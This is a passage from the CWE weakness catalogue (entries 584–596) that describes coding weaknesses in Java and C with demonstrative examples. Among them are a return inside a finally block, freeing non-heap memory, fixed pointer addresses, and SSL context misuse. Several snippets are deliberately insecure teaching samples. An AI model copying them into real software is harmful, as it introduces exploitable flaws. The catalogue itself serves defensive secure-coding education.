<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>490</td>
<td>Mobile Code Issues</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>850</td>
<td>CERT Java Secure Coding Section 05 - Methods (MET)</td>
<td></td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>1002</td>
<td>SFP Secondary Cluster: Unexpected Entry Points</td>
<td></td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>MET12-J</td>
<td>Do not use finalizers</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP28</td>
<td>Unexpected access points</td>
</tr>
</tbody>
</table>

CWE-584: Return Inside Finally Block

Weakness ID: 584 (Weakness Base)  Status: Draft

Description

Summary
The code has a return statement inside a finally block, which will cause any thrown exception in the try block to be discarded.

Time of Introduction
• Implementation

Common Consequences
Other
Alter execution logic

Demonstrative Examples
In the following code excerpt, the IllegalArgumentException will never be delivered to the caller. The finally block will cause the exception to be discarded.
Java Example: 

```java
try {
    ...
    throw IllegalArgumentException();
} finally {
    return r;
}
```

**Potential Mitigations**

**Implementation**

Do not use a return statement inside the finally block. The finally block should have "cleanup" code.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>389</td>
<td>Error Conditions, Return Values, Status Codes</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>705</td>
<td>Incorrect Control Flow Scoping</td>
<td>672</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>851</td>
<td>CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td>C</td>
<td>961</td>
<td>SFP Secondary Cluster: Incorrect Exception Behavior</td>
<td>1108</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>ERR04-J</td>
<td>Do not complete abruptly from a finally block</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>ERR05-J</td>
<td>Do not let checked exceptions escape from a finally block</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP6</td>
<td>Incorrect Exception Behavior</td>
</tr>
</tbody>
</table>

---

**CWE-585: Empty Synchronized Block**

**Weakness ID:** 585 (Weakness Variant) **Status:** Draft

**Description**

**Summary**

The software contains an empty synchronized block.

**Extended Description**

An empty synchronized block does not actually accomplish any synchronization and may indicate a troubled section of code. An empty synchronized block can occur because code no longer needed within the synchronized block is commented out without removing the synchronized block.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- Java

**Common Consequences**

- Other

An empty synchronized block will wait until nobody else is using the synchronizer being specified. While this may be part of the desired behavior, because you haven't protected the subsequent code by placing it inside the synchronized block, nothing is stopping somebody else from modifying whatever it was you were waiting for while you run the subsequent code.

**Demonstrative Examples**

The following code attempts to synchronize on an object, but does not execute anything in the synchronized block. This does not actually accomplish anything and may be a sign that a programmer is wrestling with synchronization but has not yet achieved the result they intend.
Java Example:

<table>
<thead>
<tr>
<th>Bad Code</th>
</tr>
</thead>
<tbody>
<tr>
<td>synchronized(this) { }</td>
</tr>
</tbody>
</table>

Instead, in a correct usage, the synchronized statement should contain procedures that access or modify data that is exposed to multiple threads. For example, consider a scenario in which several threads are accessing student records at the same time. The method which sets the student ID to a new value will need to make sure that nobody else is accessing this data at the same time and will require synchronization.

<table>
<thead>
<tr>
<th>Good Code</th>
</tr>
</thead>
<tbody>
<tr>
<td>public void setID(int ID) {</td>
</tr>
<tr>
<td>synchronized(this) {</td>
</tr>
<tr>
<td>this.ID = ID;</td>
</tr>
<tr>
<td>}</td>
</tr>
<tr>
<td>}</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation

When you come across an empty synchronized statement, or a synchronized statement in which the code has been commented out, try to determine what the original intentions were and whether or not the synchronized block is still necessary.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>371</td>
<td>State Issues</td>
<td>699 652</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>699 685</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>987</td>
<td>SFP Secondary Cluster: Multiple Locks/Unlocks</td>
<td>888 1391</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP21</td>
<td>Multiple locks/unlocks</td>
</tr>
</tbody>
</table>

References


CWE-586: Explicit Call to Finalize()

<table>
<thead>
<tr>
<th>Weakness ID: 586 (Weakness Variant)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

Description

Summary

The software makes an explicit call to the finalize() method from outside the finalizer.

Extended Description

While the Java Language Specification allows an object's finalize() method to be called from outside the finalizer, doing so is usually a bad idea. For example, calling finalize() explicitly means that finalize() will be called more than once: the first time will be the explicit call and the last time will be the call that is made after the object is garbage collected.

Time of Introduction

• Implementation

Applicable Platforms

Languages

• Java

Common Consequences

Integrity

Other

Unexpected state

Quality degradation

Demonstrative Examples
The following code fragment calls finalize() explicitly:

Java Example:

```
// time to clean up
widget.finalize();
```

Potential Mitigations

Implementation

Testing

Do not make explicit calls to finalize(). Use static analysis tools to spot such instances.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>850</td>
<td>CERT Java Secure Coding Section 05 - Methods (MET)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>675</td>
<td>Duplicate Operations on Resource</td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>MET12-J</td>
<td>Do not use finalizers</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP3</td>
<td>Use of an improper API</td>
</tr>
</tbody>
</table>

CWE-587: Assignment of a Fixed Address to a Pointer

Weakness ID: 587 (Weakness Base)  Status: Draft

Description

Summary

The software sets a pointer to a specific address other than NULL or 0.

Extended Description

Using a fixed address is not portable because that address will probably not be valid in all environments or platforms.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++
- C#
- Assembly

Common Consequences

Integrity
Confidentiality
Availability

Execute unauthorized code or commands

If one executes code at a known location, an attacker might be able to inject code there beforehand.

Availability

DoS: crash / exit / restart

If the code is ported to another platform or environment, the pointer is likely to be invalid and cause a crash.
Confidentiality
Integrity
Read memory
Modify memory
The data at a known pointer location can be easily read or influenced by an attacker.

Demonstrative Examples
This code assumes a particular function will always be found at a particular address. It assigns a pointer to that address and calls the function.

C Example:

```c
int (*pt2Function) (float, char, char)=0x08040000;
int result2 = (*pt2Function) (12, 'a', 'b');
// Here we can inject code to execute.
```

The same function may not always be found at the same memory address. This could lead to a crash, or an attacker may alter the memory at the expected address, leading to arbitrary code execution.

Potential Mitigations
Implementation
Never set a pointer to a fixed address.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>344</td>
<td>Use of Invariant Value in Dynamically Changing Context</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>465</td>
<td>Pointer Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>738</td>
<td>CERT C Secure Coding Section 04 - Integers (INT)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>758</td>
<td>Reliance on Undefined, Unspecified, or Implementation-Defined Behavior</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>872</td>
<td>CERT C++ Secure Coding Section 04 - Integers (INT)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C Secure Coding</td>
<td>INT11-C</td>
<td>Take care when converting from pointer to integer or integer to pointer</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT11-CPP</td>
<td>Take care when converting from pointer to integer or integer to pointer</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP1</td>
<td>Glitch in computation</td>
</tr>
</tbody>
</table>

White Box Definitions
A weakness where code path has:
1. end statement that assigns an address to a pointer
2. start statement that defines the address and the address is a literal value

CWE-588: Attempt to Access Child of a Non-structure Pointer

Weakness ID: 588 (Weakness Variant) Status: Incomplete

Description

Summary
Casting a non-structure type to a structure type and accessing a field can lead to memory access errors or data corruption.

Time of Introduction
- Architecture and Design
- Implementation
Common Consequences

**Integrity**

**Modify memory**

Adjacent variables in memory may be corrupted by assignments performed on fields after the cast.

**Availability**

**DoS: crash / exit / restart**

Execution may end due to a memory access error.

Demonstrative Examples

**C Example:**

```c
struct foo
{
    int i;
}
...
int main(int argc, char **argv)
{
    *foo = (struct foo *)main;
    foo->i = 2;
    return foo->i;
}
```

Potential Mitigations

**Requirements**

The choice could be made to use a language that is not susceptible to these issues.

**Implementation**

Review of type casting operations can identify locations where incompatible types are cast.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>465</td>
<td>Pointer Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>569</td>
<td>Expression Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>704</td>
<td>Incorrect Type Conversion or Cast</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>758</td>
<td>Reliance on Undefined, Unspecified, or Implementation-Defined Behavior</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>971</td>
<td>SFP Secondary Cluster: Faulty Pointer Use</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP7</td>
<td>Faulty Pointer Use</td>
</tr>
</tbody>
</table>

**CWE-589: Call to Non-ubiquitous API**

**Weakness ID:** 589 *(Weakness Variant)*  
**Status:** Incomplete

**Description**

**Summary**

The software uses an API function that does not exist on all versions of the target platform. This could cause portability problems or inconsistencies that allow denial of service or other consequences.

**Extended Description**

Some functions that offer security features supported by the OS are not available on all versions of the OS in common use. Likewise, functions are often deprecated or made obsolete for security reasons and should not be used.

**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences**
CWE Version 2.11
CWE-590: Free of Memory not on the Heap

Other
Quality degradation

Potential Mitigations

Implementation
Always test your code on any platform on which it is targeted to run on.

Testing
Test your code on the newest and oldest platform on which it is targeted to run on.

Testing
Develop a system to test for API functions that are not portable.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th></th>
<th></th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>699</td>
<td>419</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>474</td>
<td>Use of Function with Inconsistent Implementations</td>
<td>1000</td>
<td>799</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>850</td>
<td>CERT Java Secure Coding Section 05 - Methods (MET)</td>
<td>844</td>
<td>1297</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>858</td>
<td>CERT Java Secure Coding Section 13 - Serialization (SER)</td>
<td>844</td>
<td>1301</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
<td>1414</td>
<td></td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>MET02-J</td>
<td>Do not use deprecated or obsolete classes or methods</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SER00-J</td>
<td>Maintain serialization compatibility during class evolution</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP3</td>
<td>Use of an improper API</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>96</td>
<td>Block Access to Libraries</td>
</tr>
</tbody>
</table>

(CAPEC Version 2.10)

CWE-590: Free of Memory not on the Heap

Weakness ID: 590 (Weakness Variant) Status: Incomplete

Description

Summary
The application calls free() on a pointer to memory that was not allocated using associated heap allocation functions such as malloc(), calloc(), or realloc().

Extended Description
When free() is called on an invalid pointer, the program's memory management data structures may become corrupted. This corruption can cause the program to crash or, in some circumstances, an attacker may be able to cause free() to operate on controllable memory locations to modify critical program variables or execute code.

Time of Introduction
- Implementation

Common Consequences

Integrity
Confidentiality
Availability

Execute unauthorized code or commands

Modify memory
There is the potential for arbitrary code execution with privileges of the vulnerable program via a "write, what where" primitive.

If pointers to memory which hold user information are freed, a malicious user will be able to write 4 bytes anywhere in memory.

Demonstrative Examples
In this example, an array of record_t structs, bar, is allocated automatically on the stack as a local variable and the programmer attempts to call free() on the array. The consequences will vary based on the implementation of free(), but it will not succeed in deallocating the memory.
CWE Version 2.11
CWE-590: Free of Memory not on the Heap

C Example:  

```c
void foo()
{
    record_t bar[MAX_SIZE];
    /* do something interesting with bar */
    ...
    free(bar);
}
```

This example shows the array allocated globally, as part of the data segment of memory and the programmer attempts to call free() on the array.

C Example:  

```c
record_t bar[MAX_SIZE]; //Global var
void foo()
{
    /* do something interesting with bar */
    ...
    free(bar);
}
```

Instead, if the programmer wanted to dynamically manage the memory, malloc() or calloc() should have been used.

```c
void foo()
{
    record_t *bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
    /* do something interesting with bar */
    ...
    free(bar);
}
```

Additionally, you can pass global variables to free() when they are pointers to dynamically allocated memory.

```c
record_t *bar; //Global var
void foo()
{
    bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
    /* do something interesting with bar */
    ...
    free(bar);
}
```

Potential Mitigations

Implementation

Only free pointers that you have called malloc on previously. This is the recommended solution. Keep track of which pointers point at the beginning of valid chunks and free them only once.

Implementation

Before freeing a pointer, the programmer should make sure that the pointer was previously allocated on the heap and that the memory belongs to the programmer. Freeing an unallocated pointer will cause undefined behavior in the program.

Architecture and Design

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Relationships
CWE-591: Sensitive Data Storage in Improperly Locked Memory

**Summary**
The application stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors.

**Extended Description**
On Windows systems the VirtualLock function can lock a page of memory to ensure that it will remain present in memory and not be swapped to disk. However, on older versions of Windows, such as 95, 98, or Me, the VirtualLock() function is only a stub and provides no protection. On POSIX systems the mlock() call ensures that a page will stay resident in memory but does not guarantee that the page will not appear in the swap. Therefore, it is unsuitable for use as a protection mechanism for sensitive data. Some platforms, in particular Linux, do make the guarantee that the page will not be swapped, but this is non-standard and is not portable. Calls to mlock() also require supervisor privilege. Return values for both of these calls must be checked to ensure that the lock operation was actually successful.

**Time of Introduction**
- Implementation

**Common Consequences**
- Confidentiality
  - Read application data
  - Read memory
    - Sensitive data that is written to a swap file may be exposed.

**Potential Mitigations**

---

**References**
"Valgrind". <http://valgrind.org/>.

**Maintenance Notes**
In C++, if the new operator was used to allocate the memory, it may be allocated with the malloc(), calloc() or realloc() family of functions in the implementation. Someone aware of this behavior might choose to map this problem to CWE-590 or to its parent, CWE-762, depending on their perspective.
**Architecture and Design**

Identify data that needs to be protected from swapping and choose platform-appropriate protection mechanisms.

**Implementation**

Check return values to ensure locking operations are successful.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>c</td>
<td>413</td>
<td>Improper Resource Locking</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>c</td>
<td>633</td>
<td>Weaknesses that Affect Memory</td>
<td>631</td>
</tr>
<tr>
<td>ChildOf</td>
<td>c</td>
<td>729</td>
<td>OWASP Top Ten 2004 Category A8 - Insecure Storage</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>c</td>
<td>742</td>
<td>CERT C Secure Coding Section 08 - Memory Management (MEM)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>c</td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>c</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
</tbody>
</table>

### Affected Resources

- Memory

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A8</td>
<td>CWE More Specific</td>
<td>Insecure Storage</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MEM06-C</td>
<td></td>
<td>Ensure that sensitive data is not written out to disk</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM06-CPP</td>
<td></td>
<td>Ensure that sensitive data is not written out to disk</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td></td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

---

**CWE-592: DEPRECATED: Authentication Bypass Issues**

**Weakness ID:** 592 *(Deprecated Weakness Class)*

**Status:** Deprecated

**Description**

**Summary**

This weakness has been deprecated because it covered redundant concepts already described in CWE-287.

---

**CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created**

**Weakness ID:** 593 *(Weakness Variant)*

**Status:** Draft

**Description**

**Summary**

The software modifies the SSL context after connection creation has begun.

**Extended Description**

If the program modifies the SSL_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.

**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences**

- Access Control
  - Bypass protection mechanism
    - No authentication takes place in this process, bypassing an assumed protection of encryption.
Confidentiality

Read application data

The encrypted communication between a user and a trusted host may be subject to a "man in the middle" sniffing attack.

Demonstrative Examples

C Example:

```c
#define CERT "secret.pem"
#define CERT2 "secret2.pem"
int main(){
    SSL_CTX *ctx;
    SSL *ssl;
    init_OpenSSL();
    seed_prng();
    ctx = SSL_CTX_new(SSLv23_method());
    if (SSL_CTX_use_certificate_chain_file(ctx, CERT) != 1)
        int_error("Error loading certificate from file");
    if (SSL_CTX_use_PrivateKey_file(ctx, CERT, SSL_FILETYPE_PEM) != 1)
        int_error("Error loading private key from file");
    if (!ssl = SSL_new(ctx))
        int_error("Error creating an SSL context");
    if ( SSL_CTX_set_default_passwd_cb(ctx, "new default password") != 1)
        int_error("Doing something which is dangerous to do anyways");
    if (!ssl2 = SSL_new(ctx))
        int_error("Error creating an SSL context");
}
```

Potential Mitigations

Architecture and Design

Use a language or a library that provides a cryptography framework at a higher level of abstraction.

Implementation

Most SSL_CTX functions have SSL counterparts that act on SSL-type objects.

Implementation

Applications should set up an SSL_CTX completely, before creating SSL objects from it.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>287</td>
<td>Improper Authentication</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1000</td>
<td></td>
<td></td>
<td>508</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>666</td>
<td>Operation on Resource in Wrong Phase of Lifetime</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1033</td>
<td></td>
<td></td>
<td>1033</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>948</td>
<td>SFP Secondary Cluster: Digital Certificate</td>
<td></td>
<td>888</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>94</td>
<td>Man in the Middle Attack</td>
</tr>
</tbody>
</table>

CWE-594: J2EE Framework: Saving Unserializable Objects to Disk

Weakness ID: 594 (Weakness Variant)  Status: Incomplete

Description

Summary

When the J2EE container attempts to write unserializable objects to disk there is no guarantee that the process will complete successfully.

Extended Description

In heavy load conditions, most J2EE application frameworks flush objects to disk to manage memory requirements of incoming requests. For example, session scoped objects, and even application scoped objects, are written to disk when required. While these application frameworks do the real work of writing objects to disk, they do not enforce that those objects be serializable,
thus leaving the web application vulnerable to crashes induced by serialization failure. An attacker may be able to mount a denial of service attack by sending enough requests to the server to force the web application to save objects to disk.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- Java

**Common Consequences**

**Integrity**
- Modify application data
  - Data represented by unserializable objects can be corrupted.

**Availability**
- DoS: crash / exit / restart
  - Non-serializability of objects can lead to system crash.

**Demonstrative Examples**

In the following Java example, a Customer Entity JavaBean provides access to customer information in a database for a business application. The Customer Entity JavaBean is used as a session scoped object to return customer information to a Session EJB.

**Java Example:**

```java
@javax.persistence.Entity
public class Customer {
    private String id;
    private String firstName;
    private String lastName;
    private Address address;
    public Customer() {
    }
    public Customer(String id, String firstName, String lastName) {...}
    @Id
    public String getCustomerId() {...}
    public void setCustomerId(String id) {...}
    public String getFirstName() {...}
    public void setFirstName(String firstName) {...}
    public String getLastName() {...}
    public void setLastName(String lastName) {...}
    @javax.persistence.OneToOne()
    public Address getAddress() {...}
    public void setAddress(Address address) {...}
}
```

However, the Customer Entity JavaBean is an unserialized object which can cause serialization failure and crash the application when the J2EE container attempts to write the object to the system. Session scoped objects must implement the Serializable interface to ensure that the objects serialize properly.

**Java Example:**

```java
public class Customer implements Serializable {...}
```

**Potential Mitigations**

**Architecture and Design**

**Implementation**

All objects that become part of session and application scope must implement the java.io.Serializable interface to ensure serializability of containing objects.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
</tbody>
</table>
CWE-595: Comparison of Object References Instead of Object Contents

**Weakness ID:** 595 *(Weakness Base)*  
**Status:** Incomplete

**Description**

**Summary**

The program compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**
- Java
- Language-independent

**Common Consequences**

**Other**

**Other**

Varies by context

This weakness can lead to erroneous results that can cause unexpected application behaviors.

**Demonstrative Examples**

**Example 1:**

In the example below, two Java String objects are declared and initialized with the same string values and an if statement is used to determine if the strings are equivalent.

**Java Example:**

```java
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
    System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

```java
if (str1.equals(str2)) {
    System.out.println("str1 equals str2");
}
```

**Example 2:**

In the following Java example, two BankAccount objects are compared in the isSameAccount method using the == operator.

**Java Example:**

```java
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
    return accountA == accountB;
}
```
Using the == operator to compare objects may produce incorrect or deceptive results by comparing object references rather than values. The equals() method should be used to ensure correct results or objects should contain a member variable that uniquely identifies the object.

The following example shows the use of the equals() method to compare the BankAccount objects and the next example uses a class get method to retrieve the bank account number that uniquely identifies the BankAccount object to compare the objects.

**Java Example:**

```java
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
    return accountA.equals(accountB);
}
```

**Potential Mitigations**

**Implementation**

Use the equals() method to compare objects instead of the == operator. If using ==, it is important for performance reasons that your objects are created by a static factory, not by a constructor.

**Other Notes**

This problem can cause unexpected application behavior. Comparing objects using == usually produces deceptive results, since the == operator compares object references rather than values. To use == on a string, the programmer has to make sure that these objects are unique in the program, that is, that they don’t have the equals method defined or have a static factory that produces unique objects.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>569</td>
<td>Expression Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>697</td>
<td>Insufficient Comparison</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>847</td>
<td>CERT Java Secure Coding Section 02 - Expressions (EXP)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>597</td>
<td>Use of Wrong Operator in String Comparison</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>EXP02-J</td>
<td>Use the two-argument Arrays.equals() method to compare the contents of arrays</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>EXP02-J</td>
<td>Use the two-argument Arrays.equals() method to compare the contents of arrays</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>EXP03-J</td>
<td>Do not use the equality operators when comparing values of boxed primitives</td>
</tr>
</tbody>
</table>

**CWE-596: Incorrect Semantic Object Comparison**

**Weakness ID:** 596 *(Weakness Base)*

**Status:** Incomplete

**Description**

**Summary**

The software does not correctly compare two objects based on their conceptual content.

**Time of Introduction**

- Implementation

**Common Consequences**

- Other

**Detection Methods**

**Manual Static Analysis**

Requires domain-specific knowledge to determine if the comparison is incorrect.

**Demonstrative Examples**
